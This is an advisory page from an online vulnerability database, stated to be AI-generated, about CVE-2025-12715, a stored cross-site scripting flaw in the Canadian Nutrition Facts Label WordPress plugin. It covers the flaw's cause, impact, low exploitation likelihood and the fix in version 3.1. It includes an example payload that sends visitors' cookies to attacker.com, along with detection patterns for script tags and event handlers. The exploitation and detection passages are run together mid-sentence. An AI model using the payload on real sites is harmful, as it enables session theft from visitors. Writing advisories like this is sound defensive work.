
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12715 is a Stored Cross-Site Scripting (XSS) vulnerability in the Canadian Nutrition Facts Label plugin for WordPress, affecting all versions up to and including 3.0. The flaw exists in the percentage field of the Nutrition Label custom post type due to insufficient input sanitization and output escaping. It was published on December 6, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, ENISA EUVD).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input in the percentage field when creating or editing Nutrition Label custom post types, and does not escape the stored value on output. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript into this field; the malicious script is then stored in the database and executed in the browser of any user who visits a page containing the injected label. The vulnerable code path has been identified in the plugin source at line 557 of canadian-nutrition-facts-label.php (Wordfence, Plugin Source).
Successful exploitation allows an authenticated contributor to persistently inject malicious JavaScript that executes in the context of any site visitor's browser, impacting confidentiality and integrity. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, and further attacks against authenticated administrators (such as privilege escalation via admin-action hijacking). Availability is not directly impacted, but the scope is changed — meaning the injected script can affect users beyond the attacker's own session (Wordfence, ENISA EUVD).
No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).
percentage field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant./wp-admin/post.php or the REST API endpoint for Nutrition Label custom post types containing script tags or encoded JavaScript in the percentage parameter.<script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wp_posts or wp_postmeta tables associated with Nutrition Label post types.Users should update the Canadian Nutrition Facts Label plugin to version 3.1 or later, which addresses the insufficient sanitization and escaping of the percentage field. As an interim workaround, site administrators can restrict Contributor-level user registration and post creation, or temporarily disable the plugin until patching is feasible. WordPress site owners should also audit existing Nutrition Label post entries for unexpected script content in the percentage field (Wordfence, ENISA EUVD).
The vulnerability was discovered and reported by Wordfence, which published the advisory on December 6, 2025. No notable broader media coverage, vendor statements beyond the Wordfence advisory, or significant social media discussion has been identified for this vulnerability, consistent with its medium severity and limited attack surface.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."